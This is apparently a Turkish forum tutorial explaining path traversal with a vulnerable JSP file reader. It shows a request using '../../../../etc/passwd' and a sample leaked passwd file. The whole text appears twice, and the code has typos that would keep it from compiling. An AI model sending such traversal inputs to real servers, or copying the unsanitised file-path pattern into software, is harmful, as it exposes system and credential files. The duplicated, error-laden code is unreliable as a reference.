Öncelikle Bu konuyu Daha iyi anlayabilmeniz için; http://www.Cyber-warrior.org/Forum/dynamic-evaluation-vulnerability_572459,0.cwx
İşletim Sistemine Yönelik ~ Dot dot Slash NEDİR ?
Günümüzde arkadaşlar eskiye dayalı oranla uygulama/web sunucularının veya veritabanı sunucularının
kurulum esnasındaki kullanılan kullanıcı tercihleri sebebiyle yaygın olmasa da hala azımsanmayacak
derecede uygulamayı çalıştıran sistemin kullanıcısının yetkili kullanıcı olduğu gözlemlenmektedir.
Yani arkadaşlar eğer ki uygulama kullanıcısı işletim sistemi üzerinde yetkili bir kullanıcı ise ve
uygulama dizin gezinimi zafiyeti barındırıyorsa , o zaman uygulama size işletm sistemi üzerinde
herhangi bir dosyaya erişim hakkı sunacaktır.
Hemen Örnekleyelim ;
<html>
<head>
<meta http-equiev=’’Content - Type’’ content=’’text/html; charset=ISO-8859-1’’>
<title> Dot Dot Slash Application</title>
</head>
<bOdy>
<b>Dot Dot Slash Application:</b>
<ul>
<li><a href=’’getfile.jsp?path=info’’>Get Info</a><li>
</ul>
</bOdy>
</html>
Yazmış olduğumuz örnektende anlaşılacağı gibi ’’getfile.jsp’’ dosyası içerisinde ’’info’’ değerini
gönderen bir istek yapmaktadır.Şimdi de getfile.jsp dosyamıza bakalım ;
<%
String filepath = request.getParameter(’’path’’);
String realPath = request.getRealPath(’’/’’);
FileReader input = new FileReader(realPath+filePath);
BufferedReader bufferRead = new BuffreredReader (input);
String line;
while ((line=bufferRead.readLine()) !=null) {
out.println(line);
}
out.flush();
bufferRead.close();
%>
Bu koda bakarsanız arkadaşlar path değişkeni ile taşınan ’info’ değeri , uygulamanın çalıştığı dizine
ilave oluyor ve çalışan dizinde bulunan ’info’ dosyası okunarak , ekrana yansıtılıyor.ilgili ’path’
parametresindeki aşağıdakine benzer bir saldırı yapalım ve geri dönüte bir bakalım ;
İSTEK;
www.pathapplication.com
get/pathTraversal/getfile.jsp?path=../../../../etc/passwd
Host:www.pathapplication.com
CEVAP ;
<html>
<head>
<meta http-equiev=’’Content - Type’’ content=’’text/html; charset=ISO-8859-1’’>
<title> Dot Dot Slash Application</title>
</head>
<bOdy>
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
....
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
....
Dikkat edelimki arkadaşlar ’info’ yerine ../../../etc/passwd değerini gönderdik ve uygulama vasıtasıyla
sunucu üzerindeki /etc/passwd dosyasını okumuş olduk .Kod parçaçığı ’info’ değerini aldığında aşağıdakine
benzer yol izlemektedir. /tomcat/webapps/application+../../../../../etc/passwd değeri birleştirilmiş
ve ../ yardımı ile bir üst dizine çıkarak ilerlenmiştir.En üst root dizine gelindiğinde ise ../ dizin
gezinimi parametrelerinin artık bir anlam ifade etmediğini yani ’../’ sayısının çokluğunun önemli olmadığını
ve kök dizine kalarak /etc/passwd dosyasına erişim sağlanıp , okunmasını sağlamıştır.Bu sayede yetki dahilinde
bulunan işletim sistemi üzerindeki dosyalar okunabilmektedir .
Şu Videolarıda izleyelim ;
https://www.youtube.com/watch?v=s3XQ1n5kdeQ
https://www.youtube.com/watch?v=LTL5JZool-k
Anlamadığınız Kafanıza Takılan Soruları konu Altından Sorunuz Bilgim Düzeyimde Cevaplamaya çalışacağım
Selametle | Ordu-yu Lojistik TİM
İşletim Sistemine Yönelik ~ Dot dot Slash NEDİR ?
Günümüzde arkadaşlar eskiye dayalı oranla uygulama/web sunucularının veya veritabanı sunucularının
kurulum esnasındaki kullanılan kullanıcı tercihleri sebebiyle yaygın olmasa da hala azımsanmayacak
derecede uygulamayı çalıştıran sistemin kullanıcısının yetkili kullanıcı olduğu gözlemlenmektedir.
Yani arkadaşlar eğer ki uygulama kullanıcısı işletim sistemi üzerinde yetkili bir kullanıcı ise ve
uygulama dizin gezinimi zafiyeti barındırıyorsa , o zaman uygulama size işletm sistemi üzerinde
herhangi bir dosyaya erişim hakkı sunacaktır.
Hemen Örnekleyelim ;
<html>
<head>
<meta http-equiev=’’Content - Type’’ content=’’text/html; charset=ISO-8859-1’’>
<title> Dot Dot Slash Application</title>
</head>
<bOdy>
<b>Dot Dot Slash Application:</b>
<ul>
<li><a href=’’getfile.jsp?path=info’’>Get Info</a><li>
</ul>
</bOdy>
</html>
Yazmış olduğumuz örnektende anlaşılacağı gibi ’’getfile.jsp’’ dosyası içerisinde ’’info’’ değerini
gönderen bir istek yapmaktadır.Şimdi de getfile.jsp dosyamıza bakalım ;
<%
String filepath = request.getParameter(’’path’’);
String realPath = request.getRealPath(’’/’’);
FileReader input = new FileReader(realPath+filePath);
BufferedReader bufferRead = new BuffreredReader (input);
String line;
while ((line=bufferRead.readLine()) !=null) {
out.println(line);
}
out.flush();
bufferRead.close();
%>
Bu koda bakarsanız arkadaşlar path değişkeni ile taşınan ’info’ değeri , uygulamanın çalıştığı dizine
ilave oluyor ve çalışan dizinde bulunan ’info’ dosyası okunarak , ekrana yansıtılıyor.ilgili ’path’
parametresindeki aşağıdakine benzer bir saldırı yapalım ve geri dönüte bir bakalım ;
İSTEK;
www.pathapplication.com
get/pathTraversal/getfile.jsp?path=../../../../etc/passwd
Host:www.pathapplication.com
CEVAP ;
<html>
<head>
<meta http-equiev=’’Content - Type’’ content=’’text/html; charset=ISO-8859-1’’>
<title> Dot Dot Slash Application</title>
</head>
<bOdy>
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
....
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
....
Dikkat edelimki arkadaşlar ’info’ yerine ../../../etc/passwd değerini gönderdik ve uygulama vasıtasıyla
sunucu üzerindeki /etc/passwd dosyasını okumuş olduk .Kod parçaçığı ’info’ değerini aldığında aşağıdakine
benzer yol izlemektedir. /tomcat/webapps/application+../../../../../etc/passwd değeri birleştirilmiş
ve ../ yardımı ile bir üst dizine çıkarak ilerlenmiştir.En üst root dizine gelindiğinde ise ../ dizin
gezinimi parametrelerinin artık bir anlam ifade etmediğini yani ’../’ sayısının çokluğunun önemli olmadığını
ve kök dizine kalarak /etc/passwd dosyasına erişim sağlanıp , okunmasını sağlamıştır.Bu sayede yetki dahilinde
bulunan işletim sistemi üzerindeki dosyalar okunabilmektedir .
Şu Videolarıda izleyelim ;
https://www.youtube.com/watch?v=s3XQ1n5kdeQ
https://www.youtube.com/watch?v=LTL5JZool-k
Anlamadığınız Kafanıza Takılan Soruları konu Altından Sorunuz Bilgim Düzeyimde Cevaplamaya çalışacağım
Selametle | Ordu-yu Lojistik TİM
Hiç yorum yok: